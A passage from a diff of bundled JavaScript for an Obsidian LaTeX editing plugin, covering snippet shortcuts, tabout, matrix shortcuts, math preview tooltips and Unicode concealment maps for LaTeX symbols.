view.state.sliceDoc(start2, to); + if (numerator.at(0) === "(" && numerator.at(-1) === ")") { + const closing = findMatchingBracket(numerator, 0, "(", ")", false); + if (closing === numerator.length - 1) { + numerator = numerator.slice(1, -1); + } + } + const replacement = `${settings.autofractionSymbol}{${numerator}}{$0}$1`; + queueSnippet(view, start2, to, replacement, "/"); + return true; +}; + +// src/features/tabout.ts +var tabout = (view, ctx) => { + if (!ctx.mode.inMath()) + return false; + const result = ctx.getBounds(); + if (!result) + return false; + const end2 = result.end; + const pos = view.state.selection.main.to; + const d = view.state.doc; + const text = d.toString(); + const rangle = "\\rangle"; + for (let i = pos; i < end2; i++) { + if (["}", ")", "]", ">", "|", "$"].contains(text.charAt(i))) { + setCursor(view, i + 1); + return true; + } else if (text.slice(i, i + rangle.length) === rangle) { + setCursor(view, i + rangle.length); + return true; + } + } + const textBtwnCursorAndEnd = d.sliceString(pos, end2); + const atEnd = textBtwnCursorAndEnd.trim().length === 0; + if (!atEnd) + return false; + if (ctx.mode.inlineMath || ctx.mode.codeMath) { + setCursor(view, end2 + 1); + } else { + const dollarLine = d.lineAt(end2 + 2); + if (dollarLine.number === d.lines) { + replaceRange(view, dollarLine.to, dollarLine.to, "\n"); + } + setCursor(view, dollarLine.to + 1); + const line = d.lineAt(pos); + replaceRange(view, line.from, line.to, line.text.trim()); + } + return true; +}; +var shouldTaboutByCloseBracket = (view, keyPressed) => { + const sel = view.state.selection.main; + if (!sel.empty) + return; + const pos = sel.from; + const c = getCharacterAtPos(view, pos); + const brackets2 = [")", "]", "}"]; + if (c === keyPressed && brackets2.contains(c)) { + return true; + } else { + return false; + } +}; + +// src/features/matrix_shortcuts.ts +var runMatrixShortcuts = (view, ctx, key, shiftKey) => { + const settings = getLatexSuiteConfig(view); + let isInsideAnEnv = false; + for (const envName of settings.matrixShortcutsEnvNames) { + const env = { openSymbol: "\\begin{" + envName + "}", closeSymbol: "\\end{" + envName + "}" }; + isInsideAnEnv = ctx.isWithinEnvironment(ctx.pos, env); + if (isInsideAnEnv) + break; + } + if (!isInsideAnEnv) + return false; + if (key === "Tab") { + view.dispatch(view.state.replaceSelection(" & ")); + return true; + } else if (key === "Enter") { + if (shiftKey && ctx.mode.blockMath) { + const d = view.state.doc; + const nextLineNo = d.lineAt(ctx.pos).number + 1; + const nextLine = d.line(nextLineNo); + setCursor(view, nextLine.to); + } else if (shiftKey && ctx.mode.inlineMath) { + tabout(view, ctx); + } else { + const lineBreakStr = ctx.mode.inlineMath ? " \\\\ " : " \\\\\n"; + view.dispatch(view.state.replaceSelection(lineBreakStr)); + } + return true; + } else { + return false; + } +}; + +// src/editor_extensions/math_tooltip.ts +var import_view9 = require("@codemirror/view"); +var import_state10 = require("@codemirror/state"); +var import_obsidian6 = require("obsidian"); +var updateTooltipEffect = import_state10.StateEffect.define(); +var cursorTooltipField = import_state10.StateField.define({ + create: () => [], + update(tooltips2, tr) { + for (const effect4 of tr.effects) { + if (effect4.is(updateTooltipEffect)) + return effect4.value; + } + return tooltips2; + }, + provide: (f) => import_view9.showTooltip.computeN([f], (state) => state.field(f)) +}); +function handleMathTooltip(update) { + const shouldUpdate = update.docChanged || update.selectionSet; + if (!shouldUpdate) + return; + const settings = getLatexSuiteConfig(update.state); + const ctx = Context.fromState(update.state); + if (!shouldShowTooltip(update.state, ctx)) { + const currTooltips = update.state.field(cursorTooltipField); + if (currTooltips.length > 0) { + update.view.dispatch({ + effects: [updateTooltipEffect.of([])] + }); + } + return; + } + const eqnBounds = ctx.getBounds(); + const eqn = update.state.sliceDoc(eqnBounds.start, eqnBounds.end); + const above = settings.mathPreviewPositionIsAbove; + const create = () => { + const dom = document.createElement("div"); + dom.addClass("cm-tooltip-cursor"); + const renderedEqn = (0, import_obsidian6.renderMath)(eqn, ctx.mode.blockMath || ctx.mode.codeMath); + dom.appendChild(renderedEqn); + (0, import_obsidian6.finishRenderMath)(); + return { dom }; + }; + let newTooltips = []; + if (ctx.mode.blockMath || ctx.mode.codeMath) { + newTooltips = [{ + pos: above ? eqnBounds.start : eqnBounds.end, + above, + strictSide: true, + arrow: true, + create + }]; + } else if (ctx.mode.inlineMath && above) { + newTooltips = [{ + pos: eqnBounds.start, + above: true, + strictSide: true, + arrow: true, + create + }]; + } else if (ctx.mode.inlineMath && !above) { + const endRange = import_state10.EditorSelection.range(eqnBounds.end, eqnBounds.end); + newTooltips = [{ + pos: Math.max( + eqnBounds.start, + // the beginning position of the visual line where eqnBounds.end is + // located + update.view.moveToLineBoundary(endRange, false).anchor + ), + above: false, + strictSide: true, + arrow: true, + create + }]; + } + update.view.dispatch({ + effects: [updateTooltipEffect.of(newTooltips)] + }); +} +function shouldShowTooltip(state, ctx) { + if (!ctx.mode.inMath()) + return false; + const isLivePreview = state.field(import_obsidian6.editorLivePreviewField); + if (ctx.mode.blockMath && isLivePreview) + return false; + const eqnBounds = ctx.getBounds(); + if (!eqnBounds) + return false; + const eqn = state.sliceDoc(eqnBounds.start, eqnBounds.end).trim(); + if (eqn === "") + return false; + return true; +} +var cursorTooltipBaseTheme = import_view9.EditorView.baseTheme({ + ".cm-tooltip.cm-tooltip-cursor": { + backgroundColor: "var(--background-secondary)", + color: "var(--text-normal)", + border: "1px solid var(--background-modifier-border-hover)", + padding: "4px 6px", + borderRadius: "6px", + "& .cm-tooltip-arrow:before": { + borderTopColor: "var(--background-modifier-border-hover)", + borderBottomColor: "var(--background-modifier-border-hover)" + }, + "& .cm-tooltip-arrow:after": { + borderTopColor: "var(--background-secondary)", + borderBottomColor: "var(--background-secondary)" + }, + "& p": { + margin: "0px" + }, + "& mjx-container": { + padding: "2px !important" + } + } +}); + +// src/latex_suite.ts +var handleUpdate = (update) => { + const settings = getLatexSuiteConfig(update.state); + if (settings.mathPreviewEnabled) { + handleMathTooltip(update); + } + handleUndoRedo(update); +}; +var onKeydown = (event, view) => { + const success = handleKeydown(event.key, event.shiftKey, event.ctrlKey || event.metaKey, isComposing(view, event), view); + if (success) + event.preventDefault(); +}; +var handleKeydown = (key, shiftKey, ctrlKey, isIME, view) => { + const settings = getLatexSuiteConfig(view); + const ctx = Context.fromView(view); + let success = false; + if (settings.autoDelete$ && key === "Backspace" && ctx.mode.inMath()) { + const charAtPos = getCharacterAtPos(view, ctx.pos); + const charAtPrevPos = getCharacterAtPos(view, ctx.pos - 1); + if (charAtPos === "$" && charAtPrevPos === "$") { + replaceRange(view, ctx.pos - 1, ctx.pos + 1, ""); + removeAllTabstops(view); + return true; + } + } + if (settings.snippetsEnabled) { + if (settings.suppressSnippetTriggerOnIME && isIME) + return; + if (!ctrlKey) { + try { + success = runSnippets(view, ctx, key); + if (success) + return true; + } catch (e) { + clearSnippetQueue(view); + console.error(e); + } + } + } + if (key === "Tab") { + success = setSelectionToNextTabstop(view); + if (success) + return true; + } + if (settings.autofractionEnabled && ctx.mode.strictlyInMath()) { + if (key === "/") { + success = runAutoFraction(view, ctx); + if (success) + return true; + } + } + if (settings.matrixShortcutsEnabled && ctx.mode.strictlyInMath()) { + if (["Tab", "Enter"].contains(key)) { + success = runMatrixShortcuts(view, ctx, key, shiftKey); + if (success) + return true; + } + } + if (settings.taboutEnabled) { + if (key === "Tab" || shouldTaboutByCloseBracket(view, key)) { + success = tabout(view, ctx); + if (success) + return true; + } + } + return false; +}; + +// src/main.ts +var import_view12 = require("@codemirror/view"); + +// src/snippets/codemirror/extensions.ts +var snippetExtensions = [ + tabstopsStateField.extension, + snippetQueueStateField.extension, + snippetInvertedEffects +]; + +// src/editor_extensions/conceal.ts +var import_view10 = require("@codemirror/view"); +var import_state11 = require("@codemirror/state"); + +// src/editor_extensions/conceal_fns.ts +var import_language5 = require("@codemirror/language"); + +// src/editor_extensions/conceal_maps.ts +var cmd_symbols = { + "aleph": "\u2135", + "amalg": "\u2210", + "angle": "\u2220", + "approx": "\u2248", + "ast": "\u2217", + "asymp": "\u224D", + "backslash": "\u2216", + "bigcap": "\u2229", + "bigcirc": "\u25CB", + "bigcup": "\u222A", + "bigodot": "\u2299", + "bigoplus": "\u2295", + "bigotimes": "\u2297", + "bigsqcup": "\u2294", + "bigtriangledown": "\u2207", + "bigtriangleup": "\u2206", + "bigvee": "\u22C1", + "bigwedge": "\u22C0", + "bot": "\u22A5", + "bowtie": "\u22C8", + "bullet": "\u2022", + "cap": "\u2229", + "cdots": "\u22EF", + "cdot": "\xB7", + "circ": "\u2218", + "clubsuit": "\u2663", + "cong": "\u2245", + "coprod": "\u2210", + "copyright": "\xA9", + "cup": "\u222A", + "dagger": "\u2020", + "dashv": "\u22A3", + "ddagger": "\u2021", + "ddots": "\u22F1", + "diamond": "\u22C4", + "diamondsuit": "\u2662", + "div": "\xF7", + "doteq": "\u2250", + "dots": "\u2026", + "downarrow": "\u2193", + "Downarrow": "\u21D3", + "ell": "\u2113", + "emptyset": "\xD8", + "equiv": "\u2261", + "exists": "\u2203", + "flat": "\u266D", + "forall": "\u2200", + "frown": "\u2054", + "geqslant": "\u2265", + "geq": "\u2265", + "gets": "\u2190", + "ge": "\u2265", + "gg": "\u27EB", + "hbar": "\u210F", + "heartsuit": "\u2661", + "hookleftarrow": "\u21A9", + "hookrightarrow": "\u21AA", + "iff": "\u21D4", + "Im": "\u2111", + "imath": "\u0269", + "infty": "\u221E", + "iiint": "\u222D", + "iint": "\u222C", + "int": "\u222B", + "in": "\u2208", + "jmath": "\u{1D6A5}", + "land": "\u2227", + "lnot": "\xAC", + "lceil": "\u2308", + "ldots": "\u2026", + // "leftarrow": "←", // Duplicates + // "Leftarrow": "⇐", + "leftharpoondown": "\u21BD", + "leftharpoonup": "\u21BC", + "leftrightarrow": "\u2194", + "Leftrightarrow": "\u21D4", + "lhd": "\u25C1", + "rhd": "\u25B7", + "leftarrow": "\u2190", + "Leftarrow": "\u21D0", + "left": "", + "leq": "\u2264", + "le": "\u2264", + "ll": "\u226A", + "lmoustache": "\u256D", + "lor": "\u2228", + "mapsto": "\u21A6", + "middle": "", + "mid": "\u2223", + "models": "\u22A8", + "mp": "\u2213", + "nabla": "\u2207", + "natural": "\u266E", + "nearrow": "\u2197", + "neg": "\xAC", + "neqslant": "\u2260", + "neq": "\u2260", + "ne": "\u2260", + "ni": "\u220B", + "notin": "\u2209", + "nwarrow": "\u2196", + "odot": "\u2299", + "oint": "\u222E", + "ominus": "\u2296", + "oplus": "\u2295", + "oslash": "\u2298", + "otimes": "\u2297", + "owns": "\u220B", + "P": "\xB6", + "parallel": "\u2551", + "partial": "\u2202", + "perp": "\u22A5", + "pm": "\xB1", + "preceq": "\u2AAF", + "prec": "\u227A", + "prime": "\u2032", + "prod": "\u220F", + "propto": "\u221D", + "rceil": "\u2309", + "Re": "\u211C", + "qquad": "\u2001", + "quad": "\u2000", + "rightarrow": "\u2192", + "Rightarrow": "\u21D2", + "right": "", + "rightleftharpoons": "\u21CC", + "rmoustache": "\u256E", + "S": "\xA7", + "searrow": "\u2198", + "setminus": "\u29F5", + "sharp": "\u266F", + "simeq": "\u22CD", + "sim": "\u223C", + "smile": "\u203F", + "spadesuit": "\u2660", + "sqcap": "\u2293", + "sqcup": "\u2294", + "sqsubseteq": "\u2291", + "sqsubset": "\u228F", + "sqsupseteq": "\u2292", + "sqsupset": "\u2290", + "square": "\u25A1", + // ▢◻ + "star": "\u272B", + "subseteq": "\u2286", + "subset": "\u2282", + "succeq": "\u2AB0", + "succ": "\u227B", + "sum": "\u2211", + "supseteq": "\u2287", + "supset": "\u2283", + "surd": "\u221A", + "swarrow": "\u2199", + "times": "\xD7", + "top": "\u22A4", + "to": "\u2192", + "triangleleft": "\u22B2", + "triangleright": "\u22B3", + "triangle": "\u2206", + "uparrow": "\u2191", + "Uparrow": "\u21D1", + "updownarrow": "\u2195", + "Updownarrow": "\u21D5", + "vdash": "\u22A2", + "vdots": "\u22EE", + "vee": "\u2228", + "wedge": "\u2227", + "wp": "\u2118", + "wr": "\u2240", + "implies": "\u21D2", + "choose": "C", + "sqrt": "\u221A", + "coloneqq": "\u2254", + "colon": ":", + "displaystyle": " ", + ",": " ", + ":": " ", + ";": " " +}; +var operators = ( + // From https://www.overleaf.com/learn/latex/Operators + [ + "arcsin", + "arccos", + "arctan", + "sinh", + "cosh", + "tanh", + "coth", + "sin", + "cos", + "tan", + "sec", + "csc", + "cot", + "exp", + "ker", + "limsup", + "lim", + "sup", + "deg", + "gcd", + "log", + "lg", + "ln", + "Pr", + "det", + "hom", + "arg", + "dim", + "liminf", + "min", + "max" + // "inf" // Fix "\\infty" being concealed as "inf∞" + ] +); +var fractions = { + "{1}{2}": "\xBD", + "{1}{3}": "\u2153", + "{2}{3}": "\u2154", + "{1}{4}": "\xBC", + "{1}{5}": "\u2155", + "{2}{5}": "\u2156", + "{3}{5}": "\u2157", + "{4}{5}": "\u2158", + "{1}{6}": "\u2159", + "{5}{6}": "\u215A", + "{1}{8}": "\u215B", + "{3}{8}": "\u215C", + "{5}{8}": "\u215D", + "{7}{8}": "\u215E" +}; +var greek = { + "alpha": "\u03B1", + "beta": "\u03B2", + "gamma": "\u03B3", + "delta": "\u03B4", + "epsilon": "\u03F5", + "varepsilon": "\u03B5", + "zeta": "\u03B6", + "eta": "\u03B7", + "theta": "\u03B8", + "vartheta": "\u03D1", + "iota": "\u03B9", + "kappa": "\u03BA", + "lambda": "\u03BB", + "mu": "\u03BC", + "nu": "\u03BD", + "xi": "\u03BE", + "pi": "\u03C0", + "varpi": "\u03D6", + "rho": "\u03C1", + "varrho": "\u03F1", + "sigma": "\u03C3", + "varsigma": "\u03C2", + "tau": "\u03C4", + "upsilon": "\u03C5", + "phi": "\u03D5", + "varphi": "\u03C6", + "chi": "\u03C7", + "psi": "\u03C8", + "omega": "\u03C9", + "Gamma": "\u0393", + "Delta": "\u0394", + "Theta": "\u0398", + "Lambda": "\u039B", + "Xi": "\u039E", + "Pi": "\u03A0", + "Sigma": "\u03A3", + "Upsilon": "\u03A5", + "Phi": "\u03A6", + "Chi": "\u03A7", + "Psi": "\u03A8", + "Omega": "\u03A9" +}; +var map_super = { + "(": "\u207D", + ")": "\u207E", + "+": "\u207A", + "-": "\u207B", + "=": "\u207C", + ":": "\uFE13", + ";": "\uFE14", + "<": "\u02C2", + ">": "\u02C3", + "0": "\u2070", + "1": "\xB9", + "2": "\xB2", + "3": "\xB3", + "4": "\u2074", + "5": "\u2075", + "6": "\u2076", + "7": "\u2077", + "8": "\u2078", + "9": "\u2079", + "a": "\u1D43", + "b": "\u1D47", + "c": "\u1D9C", + "d": "\u1D48", + "e": "\u1D49", + "f": "\u1DA0", + "g": "\u1D4D", + "h": "\u02B0", + "i": "\u2071", + "j": "\u02B2", + "k": "\u1D4F", + "l": "\u02E1", + "m": "\u1D50", + "n": "\u207F", + "o": "\u1D52", + "p": "\u1D56", + "r": "\u02B3", + "s": "\u02E2", + "t": "\u1D57", + "u": "\u1D58", + "v": "\u1D5B", + "w": "\u02B7", + "x": "\u02E3", + "y": "\u02B8", + "z": "\u1DBB", + "A": "\u1D2C", + "B": "\u1D2E", + "D": "\u1D30", + "E": "\u1D31", + "G": "\u1D33", + "H": "\u1D34", + "I": "\u1D35", + "J": "\u1D36", + "K": "\u1D37", + "L": "\u1D38", + "M": "\u1D39", + "N": "\u1D3A", + "O": "\u1D3C", + "P": "\u1D3E", + "R": "\u1D3F", + "T": "\u1D40", + "U": "\u1D41", + "V": "\u2C7D", + "W": "\u1D42" +}; +var map_sub = { + // "\\beta": "ᵦ", + // "\\rho": "ᵨ", + // "\\phi": "ᵩ", + // "\\gamma": "ᵧ", + // "\\chi": "ᵪ", + "(": "\u208D", + ")": "\u208E", + "+": "\u208A", + "-": "\u208B", + "=": "\u208C", + "0": "\u2080", + "1": "\u2081", + "2": "\u2082", + "3": "\u2083", + "4": "\u2084", + "5": "\u2085", + "6": "\u2086", + "7": "\u2087", + "8": "\u2088", + "9": "\u2089", + "a": "\u2090", + "e": "\u2091", + "h": "\u2095", + "i": "\u1D62", + "j": "\u2C7C", + "k": "\u2096", + "l": "\u2097", + "m": "\u2098", + "n": "\u2099", + "o": "\u2092", + "p": "\u209A", + "r": "\u1D63", + "s": "\u209B", + "t": "\u209C", + "u": "\u1D64", + "v": "\u1D65", + "x": "\u2093" +}; +var brackets = { + // "left(": "(", + // "left[": "[", + // "left\\{": "\\{", + // "right)": ")", + // "right]": "]", + // "right\\}": "\\}", + // "left\\langle": "〈", + // "right\\rangle": "〉", + "left<": "\u3008", + "right>": "\u3009", + "langle": "\u3008", + "rangle": "\u3009", + "lvert": "|", + "rvert": "|", + "lVert": "||", + "rVert": "||", + "vert": "|" +}; +var mathbb = { + " ": " ", + "0": "\u{1D7D8}", + "1": "\u{1D7D9}", + "2": "\u{1D7DA}", + "3": "\u{1D7DB}", + "4": "\u{1D7DC}", + "5": "\u{1D7DD}", + "6": "\u{1D7DE}", + "7": "\u{1D7DF}", + "8": "\u{1D7E0}", + "9": "\u{1D7E1}", + "A": "\u{1D538}", + "B": "\u{1D539}", + "C": "\u2102", + "D": "\u{1D53B}", + "E": "\u{1D53C}", + "F": "\u{1D53D}", + "G": "\u{1D53E}", + "H": "\u210D", + "I": "\u{1D540}", + "J": "\u{1D541}", + "K": "\u{1D542}", + "L": "\u{1D543}", + "M": "\u{1D544}", + "N": "\u2115", + "O": "\u{1D546}", + "P": "\u2119", + "Q": "\u211A", + "R": "\u211D", + "S": "\u{1D54A}", + "T": "\u{1D54B}", + "U": "\u{1D54C}", + "V": "\u{1D54D}", + "W": "\u{1D54E}", + "X": "\u{1D54F}", + "Y": "\u{1D550}", + "Z": "\u2124", + "a": "\u{1D552}", + "b": "\u{1D553}", + "c": "\u{1D554}", + "d": "\u{1D555}", + "e": "\u{1D556}", + "f": "\u{1D557}", + "g": "\u{1D558}", + "h": "\u{1D559}", + "i": "\u{1D55A}", + "j": "\u{1D55B}", + "k": "\u{1D55C}", + "l": "\u{1D55D}", + "m": "\u{1D55E}", + "n": "\u{1D55F}", + "o": "\u{1D560}", + "p": "\u{1D561}", + "q": "\u{1D562}", + "r": "\u{1D563}", + "s": "\u{1D564}", + "t": "\u{1D565}", + "u": "\u{1D566}", + "v": "\u{1D567}", + "w": "\u{1D568}", + "x": "\u{1D569}", + "y": "\u{1D56A}", + "z": "\u{1D56B}" +}; +var mathscrcal = { + "A": "\u{1D4D0}", + "B": "\u{1D4D1}", + "C": "\u{1D4D2}", + "D": "\u{1D4D3}", + "E": "\u{1D4D4}", + "F": "\u{1D4D5}", + "G": "\u{1D4D6}", + "H": "\u{1D4D7}", + "I": "\u{1D4D8}", + "J": "\u{1D4D9}", + "K": "\u{1D4DA}", + "L": "\u{1D4DB}", + "M": "\u{1D4DC}", + "N": "\u{1D4DD}", + "O": "\u{1D4DE}", + "P": "\u{1D4DF}", + "Q": "\u{1D4E0}", + "R": "\u{1D4E1}", + "S": "\u{1D4E2}", + "T": "\u{1D4E3}", + "U": "\u{1D4E4}", + "V": "\u{1D4E5}", + "W": "\u{1D4E6}", + "X": "\u{1D4E7}", + "Y": "\u{1D4E8}", + "Z": "\u{1D4E9}" +}; + +// src/editor_extensions/conceal_fns.ts +function escapeRegex(regex) { + const escapeChars = ["\\", "(", ")", "+", "-", "[", "]", "{", "}"]; + for (const escapeChar of escapeChars) { + regex = regex.replaceAll(escapeChar, "\\" + escapeChar); + } + return regex; +} +function getEndIncludingLimits(eqn, end2) { + const LIMITS = "\\limits"; + if (eqn.substring(end2, end2 + LIMITS.length) === LIMITS) { + return end2 + LIMITS.length; + } + return end2; +} +function concealSymbols(eqn, prefix, suffix, symbolMap, className, allowSucceedingLetters = true) { + const symbolNames = Object.keys(symbolMap); + const regexStr = prefix + "(" + escapeRegex(symbolNames.join("|")) + ")" + suffix; + const symbolRegex = new RegExp(regexStr, "g"); + const matches = [...eqn.matchAll(symbolRegex)]; + const specs = []; + for (const match of matches) { + const symbol = match[1]; + if (!allowSucceedingLetters) { + const end3 = match.index + match[0].length; + if (eqn.charAt(end3).match(/[a-zA-Z]/)) { + continue; + } + } + const end2 = getEndIncludingLimits(eqn, match.index + match[0].length); + specs.push(mkConcealSpec({ + start: match.index, + end: end2, + text: symbolMap[symbol], + class: className + })); + } + return specs; +} +function concealModifier(eqn, modifier, combiningCharacter) { + const regexStr = "\\\\" + modifier + "{([A-Za-z])}"; + const symbolRegex = new RegExp(regexStr, "g"); + const matches = [...eqn.matchAll(symbolRegex)]; + const specs = []; + for (const match of matches) { + const symbol = match[1]; + specs.push(mkConcealSpec({ + start: match.index, + end: match.index + match[0].length, + text: symbol + combiningCharacter, + class: "latex-suite-unicode" + })); + } + return specs; +} +function concealSupSub(eqn, superscript, symbolMap) { + const prefix = superscript ? "\\^" : "_"; + const regexStr = prefix + "{([A-Za-z0-9\\()\\[\\]/+-=<>':;\\\\ *]+)}"; + const regex = new RegExp(regexStr, "g"); + const matches = [...eqn.matchAll(regex)]; + const specs = []; + for (const match of matches) { + const exponent = match[1]; + const elementType = superscript ? "sup" : "sub"; + const symbolNames = Object.keys(symbolMap); + const symbolRegexStr = "\\\\(" + escapeRegex(symbolNames.join("|")) + ")"; + const symbolRegex = new RegExp(symbolRegexStr, "g"); + const replacement = exponent.replace(symbolRegex, (a, b) => { + return symbolMap[b]; + }); + specs.push(mkConcealSpec({ + start: match.index, + end: match.index + match[0].length, + text: replacement, + class: "cm-number", + elementType + })); + } + return specs; +} +function concealModified_A_to_Z_0_to_9(eqn, mathBBsymbolMap) { + const regexStr = "\\\\(mathbf|boldsymbol|underline|mathrm|text|mathbb){([A-Za-z0-9 ]+)}"; + const regex = new RegExp(regexStr, "g"); + const matches = [...eqn.matchAll(regex)]; + const specs = []; + for (const match of matches) { + const type = match[1]; + const value = match[2]; + const start2 = match.index; + const end2 = start2 + match[0].length; + if (type === "mathbf" || type === "boldsymbol") { + specs.push(mkConcealSpec({ + start: start2, + end: end2, + text: value, + class: "cm-concealed-bold" + })); + } else if (type === "underline") { + specs.push(mkConcealSpec({ + start: start2, + end: end2, + text: value, + class: "cm-concealed-underline" + })); + } else if (type === "mathrm") { + specs.push(mkConcealSpec({ + start: start2, + end: end2, + text: value, + class: "cm-concealed-mathrm" + })); + } else if (type === "text") { + if (start2 > 0 && eqn.charAt(start2 - 1) === "_") { + specs.push(mkConcealSpec({ + start: start2 - 1, + end: end2, + text: value, + class: "cm-concealed-mathrm", + elementType: "sub" + })); + } + } else if (type === "mathbb") { + const letters = Array.from(value); + const replacement = letters.map((el) => mathBBsymbolMap[el]).join(""); + specs.push(mkConcealSpec({ start: start2, end: end2, text: replacement })); + } + } + return specs; +} +function concealModifiedGreekLetters(eqn, greekSymbolMap) { + const greekSymbolNames = Object.keys(greekSymbolMap); + const regexStr = "\\\\(underline|boldsymbol){\\\\(" + escapeRegex(greekSymbolNames.join("|")) + ")}"; + const regex = new RegExp(regexStr, "g"); + const matches = [...eqn.matchAll(regex)]; + const specs = []; + for (const match of matches) { + const type = match[1]; + const value = match[2]; + const start2 = match.index; + const end2 = start2 + match[0].length; + if (type === "underline") { + specs.push(mkConcealSpec({ + start: start2, + end: end2, + text: greekSymbolMap[value], + class: "cm-concealed-underline" + })); + } else if (type === "boldsymbol") { + specs.push(mkConcealSpec({ + start: start2, + end: end2, + text: greekSymbolMap[value], + class: "cm-concealed-bold" + })); + } + } + return specs; +} +function concealText(eqn) { + const regexStr = "\\\\text{([A-Za-z0-9-.!?() ]+)}"; + const regex = new RegExp(regexStr, "g"); + const matches = [...eqn.matchAll(regex)]; + const specs = []; + for (const match of matches) { + const value = match[1]; + const start2 = match.index; + const end2 = start2 + match[0].length; + specs.push(mkConcealSpec({ + start: start2, + end: end2, + text: value, + class: "cm-concealed-mathrm cm-variable-2" + })); + } + return specs; +} +function concealOperators(eqn, symbols) { + const regexStr = "(\\\\(" + symbols.join("|") + "))([^a-zA-Z]|$)"; + const regex = new RegExp(regexStr, "g"); + const matches = [...eqn.matchAll(regex)]; + const specs = []; + for (const match of matches) { + const value = match[2]; + const start2 = match.index; + const end2 = getEndIncludingLimits(eqn, start2 + match[1].length); + specs.push(mkConcealSpec({ + start: start2, + end: end2, + text: value, + class: "cm-concealed-mathrm cm-variable-2" + })); + } + return specs; +} +function concealAtoZ(eqn, prefix, suffix, symbolMap, className) { + const regexStr = prefix + "([A-Z]+)" + suffix; + const symbolRegex = new RegExp(regexStr, "g"); + const matches = [...eqn.matchAll(symbolRegex)]; + const specs = []; + for (const match of matches) { + const symbol = match[1]; + const letters = Array.from(symbol); + const replacement = letters.map((el) => symbolMap[el]).join(""); + specs.push(mkConcealSpec({ + start: match.index, + end: match.index + match[0].length, + text: replacement, + class: className + })); + } + return specs; +} +function concealBraKet(eqn) { + const langle = "\u3008"; + const rangle = "\u3009"; + const vert = "|"; + const specs = []; + for (const match of eqn.matchAll(/\\(braket|bra|ket){/g)) { + const contentEnd = findMatchingBracket(eqn, match.index, "{", "}", false); + if (contentEnd === -1) + continue; + const commandStart = match.index; + const contentStart = commandStart + match[0].length - 1; + const type = match[1]; + const left2 = type === "ket" ? vert : langle; + const right2 = type === "bra" ? vert : rangle; + specs.push(mkConcealSpec( + // Hide the command + { start: commandStart, end: contentStart, text: "" }, + // Replace the "{" + { start: contentStart, end: contentStart + 1, text: left2, class: "cm-bracket" }, + // Replace the "}" + { start: contentEnd, end: contentEnd + 1, text: right2, class: "cm-bracket" } + )); + } + return specs; +} +function concealSet(eqn) { + const specs = []; + for (const match of eqn.matchAll(/\\set\{/g)) { + const commandStart = match.index; + const contentStart = commandStart + match[0].length - 1; + const contentEnd = findMatchingBracket(eqn, commandStart, "{", "}", false); + if (contentEnd === -1) + continue; + specs.push(mkConcealSpec( + // Hide "\set" + { start: commandStart, end: contentStart, text: "" }, + // Replace the "{" + { start: contentStart, end: contentStart + 1, text: "{", class: "cm-bracket" }, + // Replace the "}" + { start: contentEnd, end: contentEnd + 1, text: "}", class: "cm-bracket" } + )); + } + return specs; +} +function concealFraction(eqn) { + const concealSpecs = []; + for (const match of eqn.matchAll(/\\(frac|dfrac|tfrac|gfrac){/g)) { + const numeratorEnd = findMatchingBracket(eqn, match.index, "{", "}", false); + if (numeratorEnd === -1) + continue; + if (eqn.charAt(numeratorEnd + 1) !== "{") + continue; + const denominatorEnd = findMatchingBracket(eqn, numeratorEnd + 1, "{", "}", false); + if (denominatorEnd === -1) + continue; + const commandStart = match.index; + const numeratorStart = commandStart + match[0].length - 1; + const denominatorStart = numeratorEnd + 1; + concealSpecs.push(mkConcealSpec( + // Hide "\frac" + { start: commandStart, end: numeratorStart, text: "" }, + // Replace brackets of the numerator + { start: numeratorStart, end: numeratorStart + 1, text: "(", class: "cm-bracket" }, + { start: numeratorEnd, end: numeratorEnd + 1, text: ")", class: "cm-bracket" }, + // Add a slash + { start: numeratorEnd + 1, end: numeratorEnd + 1, text: "/", class: "cm-bracket" }, + // Replace brackets of the denominator + { start: denominatorStart, end: denominatorStart + 1, text: "(", class: "cm-bracket" }, + { start: denominatorEnd, end: denominatorEnd + 1, text: ")", class: "cm-bracket" } + )); + } + return concealSpecs; +} +function concealOperatorname(eqn) { + const regexStr = "\\\\operatorname{([A-Za-z]+)}"; + const regex = new RegExp(regexStr, "g"); + const matches = [...eqn.matchAll(regex)]; + const specs = []; + for (const match of matches) { + const value = match[1]; + const start2 = match.index; + const end2 = start2 + match[0].length; + specs.push(mkConcealSpec({ + start: start2, + end: end2, + text: value, + class: "cm-concealed-mathrm cm-variable-2" + })); + } + return specs; +} +function conceal(view) { + const specs = []; + for (const { from, to } of view.visibleRanges) { + (0, import_language5.syntaxTree)(view.state).iterate({ + from, + to, + enter: (node) => { + const type = node.type; + const to2 = node.to; + if (!(type.name.contains("begin") && type.name.contains("math"))) { + return; + } + const bounds = getEquationBounds(view.state, to2); + if (!bounds) + return; + const eqn = view.state.doc.sliceString(bounds.start, bounds.end); + const ALL_SYMBOLS = __spreadValues(__spreadValues({}, greek), cmd_symbols); + const localSpecs = [ + ...concealSymbols(eqn, "\\^", "", map_super), + ...concealSymbols(eqn, "_", "", map_sub), + ...concealSymbols(eqn, "\\\\frac", "", fractions), + ...concealSymbols(eqn, "\\\\", "", ALL_SYMBOLS, void 0, false), + ...concealSupSub(eqn, true, ALL_SYMBOLS), + ...concealSupSub(eqn, false, ALL_SYMBOLS), + ...concealModifier(eqn, "hat", "\u0302"), + ...concealModifier(eqn, "dot", "\u0307"), + ...concealModifier(eqn, "ddot", "\u0308"), + ...concealModifier(eqn, "overline", "\u0304"), + ...concealModifier(eqn, "bar", "\u0304"), + ...concealModifier(eqn, "tilde", "\u0303"), + ...concealModifier(eqn, "vec", "\u20D7"), + ...concealSymbols(eqn, "\\\\", "", brackets, "cm-bracket"), + ...concealAtoZ(eqn, "\\\\mathcal{", "}", mathscrcal), + ...concealModifiedGreekLetters(eqn, greek), + ...concealModified_A_to_Z_0_to_9(eqn, mathbb), + ...concealText(eqn), + ...concealBraKet(eqn), + ...concealSet(eqn), + ...concealFraction(eqn), + ...concealOperators(eqn, operators), + ...concealOperatorname(eqn) + ]; + for (const spec of localSpecs) { + for (const replace of spec) { + replace.start += bounds.start; + replace.end += bounds.start; + } + } + specs.push(...localSpecs); + } + }); + } + return specs; +} + +// src/editor_extensions/conceal.ts +var import_obsidian7 = require("obsidian"); +function mkConcealSpec(...replacements) { + return replacements; +} +var ConcealWidget = class extends import_view10.WidgetType { + constructor(symbol, className, elementType) { + super(); + this.symbol = symbol; + this.className = className ? className : ""; + this.elementType = elementType ? elementType : "span"; + } + eq(other) { + return other.symbol == this.symbol && other.className === this.className && other.elementType === this.elementType; + } + toDOM() { + const span = document.createElement(this.elementType); + span.className = "cm-math " + this.className; + span.textContent = this.symbol; + return span; + } + 